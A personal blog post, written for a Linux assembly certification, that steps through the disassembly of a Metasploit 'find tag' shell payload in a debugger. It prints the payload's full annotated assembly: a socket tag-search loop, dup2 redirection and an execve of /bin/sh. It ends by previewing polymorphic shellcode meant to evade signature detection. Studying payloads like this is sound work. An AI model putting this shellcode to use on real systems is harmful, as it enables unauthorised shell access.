Skip to content
badbit
Menu
  • Blog
  • About
Menu

Analyzing Shellcodes

Posted on August 28, 2020September 2, 2020 by badbit

3. linux/x86/shell_find_tag

As per the shellcode’s description, the payload spawns a shell on an established connection. Let’s take a look at the options.

The two mandatory options are TAG and MeterpreterDebugLevel. Since we aren’t dealing with a meterpreter shell in here, we can leave it to its default state. For the option tag, let’s state it to SLAE and generate our payload and take a quick high level look by running it through ndisasm.

Alright, we can see three interrupts happening at 16, 29 and 43 and the values in EAX at the time of interrupt calls are 102, 63 and 11 which refer to socketcall, dup2 and execve respectively. If we recollect, this pattern is similar to what we have observed while spawning a shell. The only logic we need to understand is the “tag search” logic. Let’s dive into the shellcode with gdb-peda.

We will use a C harness and generate an executable to perform our analysis just like what we did for previous two cases. Below I have loaded the executable in gdb-peda and set up a breakpoint at the beginning of the actual shellcode. What we observe are the following instructions:

xor    ebx,ebx	; Clearing out the ebx register
push   ebx	; Pushing EBX on the stack
mov    esi,esp	; Moving stack pointer which is pointing to 0x0
push   0x40	; Pushing 0x40 on the stack
mov    bh,0xa	; Pushing 0xa in the higher byte of EBX. EBX = 0xa00
push   ebx	; Pushing EBX on the stack (0xa00)
push   esi	; Pushing ESI on the stack (0x0)
push   ebx	; Pushing EBX on the stack (0xa00)
mov    ecx,esp	; Moving stack pointer in ECX
xchg   bl,bh	; Exchanging bh with bl. EBX = 0xa

From the looks of it, it appears to be a stack setup for arguments to a certain syscall. Moving further, I have used the stepuntil command to step until the first interrupt call.

Fig (1)

Alright, so as we can see, the stack is loaded with the arguments to a socketcall which in this case is recv as EBX currently contains 0xa (10).

And naturally, as per the socketcall syscall convention, ECX must point to the arguments of the actual call that is to be invoked (recv in this case) which we can see in the address pointed by ECX.

recv syscall - ssize_t recv(int sockfd, void *buf, size_t len, int flags);
payload equivalent - recv(0xa01, *0xbff23c, 0xa00, 0x40)

Moving further in the disassembly, we can observe that a compare operation is performed which checks “SLAE” (reversed little-endian format) against the bytes pointed by ESI and if not found increments the sockfd byte (0xa01) by one and again calls the syscall. This would run in a loop until the tag “SLAE” matches with our buffer pointed at an address to store the recevied bytes for the receive syscall (*0xbff23c) as seen in Fig (1).

The disassembly is explained below:

inc_socket:
	inc    WORD PTR [ecx]   ; EBX = 0xa01
	push   0x66		; Pushing 102 on the stack
	pop    eax		; Popping the value in EAX. EAX = 102 (socketcall)                                                                                                    
	int    0x80		; Call to syscall Socketcall (EBX = 10 = sys_recv)
	cmp    DWORD PTR [esi],0x45414c53 ; Comparing "EALS" with the buffer
	jne    inc_socket                ; Jump to label inc_socket if tag not found
; If tag found, store sockfd and pass it to dup2 calls
pop    edi 	    ; If tag found, pop (socket file descriptor) in EDI 
mov    ebx,edi      ; Move the (socket file descriptor) in EBX to execute dup2 syscall
push   0x2 	    ; Pushing 2 on top of the stack as a start point of dup2 iterator
pop    ecx 	; Popping 2 in ECX
dup2_iterator:
	push   0x3f		; Pushing 63 (dup2 syscall) on the stack
	pop    eax		; Loading 63 in EAX for syscall invocation
	int    0x80		; Calling syscall dup2
	dec    ecx		; Decrementing ECX. ECX = 1
	jns    dup2_iterator	; Jump to label until we hit signed flag (-1)
; Execve syscall (spawning shell)
push   0xb		; Pushing 11 on the stack (execve syscall)
pop    eax		; Popping 11 in EAX. EAX = 11
cdq    			; Clearing out EDX register
push   edx		; Pushing null on the stack
push   0x68732f2f	; Pushing "//sh" on the stack (reverse little endian)
push   0x6e69622f	; Pushing "/bin" on the stack (reverse little endian)
mov    ebx,esp	  ; Moving stack pointer (//bin/sh NULL) in EBX
push   edx		; Pushing EDX (Null) on the stack
push   ebx		; Pushing EBX (Null terminated binary to execute)
mov    ecx,esp      ; Moving stack pointer to ECX (//bin/sh NULL)
int    0x80		; Calling syscall execve

Once the bytes have been matched, as seen above, the control will pass to executing dup2 calls iterating stdin, stdout and stderror and lastly spawning a shell using execve syscall.

To conclude, this shellcode will search for existing socket connections on the system and attempt to match the user-supplied flag until a match is found. Once the flag is found, it will use the socket file descriptor of the found socket and use the same to spawn a shell. Amazing!


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-14690

In the next blog post, we will take three shellcodes uplaoded by professional on shell-storm and make a Polymorphic version of the same to beat signature matching.

Pages: 1 2 3

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Recent Posts

  • Make Your Own Luck – Bob Miglani & Rehan Khan
  • Zero to One – Peter Thiel
  • Mr. Crack Jack
  • WindowsAPI voodoo
  • Flare-On 7 | Challenge 2

Categories

  • CTF Write-ups
  • Five things I learnt
  • Reversing
  • Shellcoding
  • SLAE x86
  • Uncategorized
  • WindowsAPI

Connect

TwitterGithubLinkedIn
©2025 badbit | Built using WordPress and Responsive Blogily theme by Superb